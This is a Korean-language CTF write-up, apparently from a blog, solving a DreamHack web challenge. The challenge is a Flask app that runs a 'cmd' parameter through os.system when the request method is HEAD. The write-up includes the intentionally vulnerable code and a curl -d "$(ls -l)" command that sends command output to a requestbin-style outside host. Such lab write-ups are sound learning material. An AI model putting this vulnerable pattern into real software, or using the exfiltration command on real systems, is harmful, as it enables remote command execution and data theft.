왜 이리 나만 어려워하는 것인가
#!/usr/bin/env python3
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/' , methods=['GET'])
def index():
cmd = request.args.get('cmd', '')
if not cmd:
return "?cmd=[cmd]"
if request.method == 'GET':
''
else:
os.system(cmd)
return cmd
app.run(host='0.0.0.0', port=8000)
문제 코드는 심플하다
get 요청에 대해서 'cmd'(os 아님) 문자열을 반환시킨다.
근데 GET 요청이 아닐 시에는 빈문자열로 설정시킨다.
os.system(cmd)를 실행시키기 위해서는 GET 방식이 아닌 다른 방식을 이용해야 한다는 것이다.
근데 GET 만 받는다고 한다.
다른 방식으로 os.system(cmd)를 실행시켜야 한다.
찾아보자.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods
이 사이트를 보면 바로 나오지만 HEAD 메서드는 GET 요청과 동일한 응답을 요청하지만 응답 본문 즉 Body는 포함되지 않는다는 내용이다.
Burp suite를 이용해 OPTIONS 메서드를 이용해 어떤 게 허용되는지 정확히 알아보자.
보면 HEAD, GET, OPTIONS 메서드만 허용되어 있는 걸 확인이 가능하다.
그러면 OPTIONS는 역할이 끝났고 HEAD의 차례이다.
https://tools.dreamhack.games/main
참고로 HEAD는 body 가 없기에 본문을 보여줄 수 없다.
HTTP 응답정도밖에 듣지 못하기에 우리는 원격으로 보낸 코드에 대한 응답을 requestbin을 통해 들어야 한다.
사용법을 읽고 그대로 명령어로 보내주도록 하자.
명령어는 똑같다 추가된 것은 URL Encode이다.
특수문자들은 잘못해석할 수도 있기 때문이다.
Request bin으로 돌아가 요청이 왔는지 확인해 보자.
요청이 정상적으로 Request bin에 도착하여 데이터를 보여준다.
그렇다면 서버에 명령어를 보내보자.
명령어를 보내는 방식은
curl -d
[사용자가 데이터를 서버로 전송하는 명령어]
[-d 옵션 사용 시 POST 요청이 발생함]
"$(ls -l)" <- 개인적으로 핵심인 거 같다.
[명령어 치환(command substitution)]
curl -d ls -l 'http://requestbin.com'
이렇게 보내면 curl 왜 ls -l 따로따로 논다.
리눅스 해보신 분들은 왜 인지 다들 알 것이다.
별개의 인수로 취급하기에 올바른 요청이 아니다.
curl -d "$(ls -l)" 'https://example.com/api'
동작과정을 설명하면
1. ls -l 명령어가 실행된다
2. 출력에 대한 결과가 "$()"에 의해 치환되어 curl -d의 인수로 사용된다.
3. 쉽게 말하면 ls -l 대한 결과를 -> curl -d 가 받아 -> request bin에 전송하게 된다.
그럼 알맞게 보낸 명령어가 잘 작동되었는지 본다.
ls -l 명령어가 잘 먹혔다.
오래 걸렸다.
'DreamHack > WEB' 카테고리의 다른 글
proxy-1 (0) | 2024.10.16 |
---|---|
web-misconf-1 (1) | 2024.10.10 |
session (1) | 2024.10.08 |
web-ssrf (2) | 2024.09.26 |
pathtraversal (0) | 2024.09.11 |